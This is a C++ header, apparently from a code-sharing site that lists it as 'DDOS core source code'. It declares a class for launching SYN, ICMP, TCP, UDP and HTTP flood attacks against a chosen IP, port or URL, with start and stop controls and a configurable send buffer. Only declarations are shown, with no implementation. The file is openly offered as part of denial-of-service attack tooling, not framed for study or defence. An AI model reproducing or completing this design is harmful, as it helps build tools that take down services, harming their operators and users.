ddos.h
来自「DDOS核心源码」· C头文件 代码 · 共 45 行
H
45 行
#pragma once
#include "I_DDos.h"
#include "../interface/helper/IBufferHelper.h"
#include "ipheader.h"
#include "../help/Locker.h"
class CDDos : public I_DDos
{
CLocker m_Locker;
enumDDosWorkType m_worktype;
enumDdosType m_type;
std::wstring m_strUrl;
std::string m_strip;
USHORT m_port;
CPinboardPtr<I_Buffer> m_spBuffer;
bool m_IsStop;
COMPONENT_INSTANCE_PINBOARD(CDDos)
public:
virtual bool SetDDosUrl(LPCWSTR szUrl) ;
virtual bool SetAddr(char* szIp, USHORT port) ;
virtual bool SetSendBuff(BYTE* p, size_t nlen) ;
virtual bool StartsynDDos() ;
virtual bool StarticmpDDos() ;
virtual bool StarttcpDDos() ;
virtual bool StartudpDDos() ;
virtual bool StarthttpDDos() ;
virtual bool GetType(enumDdosType* type) ;
virtual bool GetWorkType(enumDDosWorkType* type);
virtual bool Stop() ;
public:
virtual bool IsStop();
virtual bool SetIsStop(bool f );
virtual bool SetWorkType(enumDDosWorkType type);
virtual bool GetAddr(std::string* pStr, USHORT* port) ;
virtual bool GetSendBuffer(I_Buffer** ppv);
virtual bool GetUrl(std::wstring* pStr);
public:
void syn_flood(const char* szip, USHORT nProt) ;
void icmp_flood(const char* szip, USHORT nProt);
void tcp_flood(const char* szip, USHORT nProt, I_Buffer* pBuff);
void udp_flood(const char* szip, USHORT nProt) ;
void http_flood(LPCWSTR szUrl);
bool floodUrl(LPCWSTR szUrl);
};
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?